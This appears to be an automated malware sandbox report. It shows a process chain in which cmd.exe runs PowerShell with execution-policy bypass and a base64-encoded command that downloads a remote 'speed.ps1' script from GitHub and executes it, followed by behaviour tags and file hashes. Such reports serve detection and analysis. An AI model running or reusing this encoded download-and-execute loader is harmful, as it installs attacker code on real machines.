C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:2788
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1116
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1884
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
MD5
47cfeff1ca93230f8988dc3b7817a13b
SHA1574699ed64e57993d5d8550491ee874391d654c7
SHA25677d66bac4d68efb38265e549393a6db2c4ce93a6a5292ff2d14396219020e920
SHA5120eb8e47fb42c839725b1008263a41367f4ad1d61844fdbe8661f26f6e72c71042e9f82873dc61185ec2083e501e1f934559f19e2c59e1a4c1a786330181b821b
-
MD5
7a31f37f3e0a6a23c7ad196e9e387ab1
SHA1f6eeedfa01db2549e42f7690bbde41e6c7ee7f89
SHA25626b3377adf822faf156a406b4f474497895683bd6545b002e2317b3f9dad22ed
SHA5123e5000e435cf11b9172d256af16568370611c15f0a0aac7e7f4b3f0a352a2eb6c5c648ab1395699d630330a01d8ccc84997eacaa6cbe1f38bedf71faea98482d
-
MD5
3447df88de7128bdc34942334b2fab98
SHA1519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb
SHA2569520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9
SHA5122ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f
-
MD5
2ac58884a6bc6115ac734d8f7e9dcff5
SHA17f1a83359e741a82aae8ead8f1b2dd67e76d93a5
SHA256a328305f6d633db8b9de84d59a608d477d58b6c78b6f26a57303ced1d1acbf53
SHA512dacfdeafe0e5e5370a3f8a49ec4505840508888c642310b6e482b7559116948145682e9b3964617734a74dfa9ecfddf0b7bf90f7751c34d7d08f6b6d6d800d4c
-
MD5
a98b8536f599df60ebf11bc11b408fc8
SHA1aaaa2d8f775ff2a7a55026308d85266e54642545
SHA256ebfe15acfcfe35756df864b21abfd22c0a8813ab1687fd54777790111b9cc61d
SHA51215c71d364be9cb5963e48915430ea09e6521874283982e89655808848a15b095b55f9c31c65f1996e8a3f01b1ef618ce9a0064bf5edd1978915c716dbbbf0de5
-
MD5
4864fc038c0b4d61f508d402317c6e9a
SHA172171db3eea76ecff3f7f173b0de0d277b0fede7
SHA2560f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84
SHA5129e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31
-
MD5
4470c7a7bb818094cb529809c3841fb5
SHA13d0e216a17aedd1d0047e1147232e4cc0aa24182
SHA256991be903a68a472c4d217de33de9f037ad4eeff16a71b46df8bc74fc6c8d5286
SHA5128d2f1f90eddbc3364e32a96a62b4f268cd5f74a231f0599aa2fabcac5dedc9226134b0ee0774ef5a6b80f49adedd0001debe20a4edf2b4d8d3f37739edf42e8c
-
MD5
3a434e30924f88a47fa7fc31e1821106
SHA1b0d245fb30c2b311a2cdf7998c5109a2151cf5a4
SHA256c1908713db3a7c8fa0dda2f4a332b00b7082910a08704d4b37b26f39f4712b28
SHA51274c0a5382a725c78db73b9dcc71445747b05171dda27c21d6688800323fb3daf365d6ce05259415db7e7504f42e401a2535a25eefa49988c605ae2853413e84e
-
MD5
c174d5f4b03f158ed3c3ac6579bc9d9f
SHA19a3f5c59cdcefe0097accab914e1896030e40e62
SHA2567ed9b5536d19ad840881d068719dbc95da230bf00ba647bf1340bc5666daf2c7
SHA5128ebd5f4a064c960eaaf0d5be4fe1463aa85e092bf4a3f81d05bb14df6e5400c80a5018a1c2a0d94f4618ce032b41567e66d0f328b443c13e09ac9e0110004f17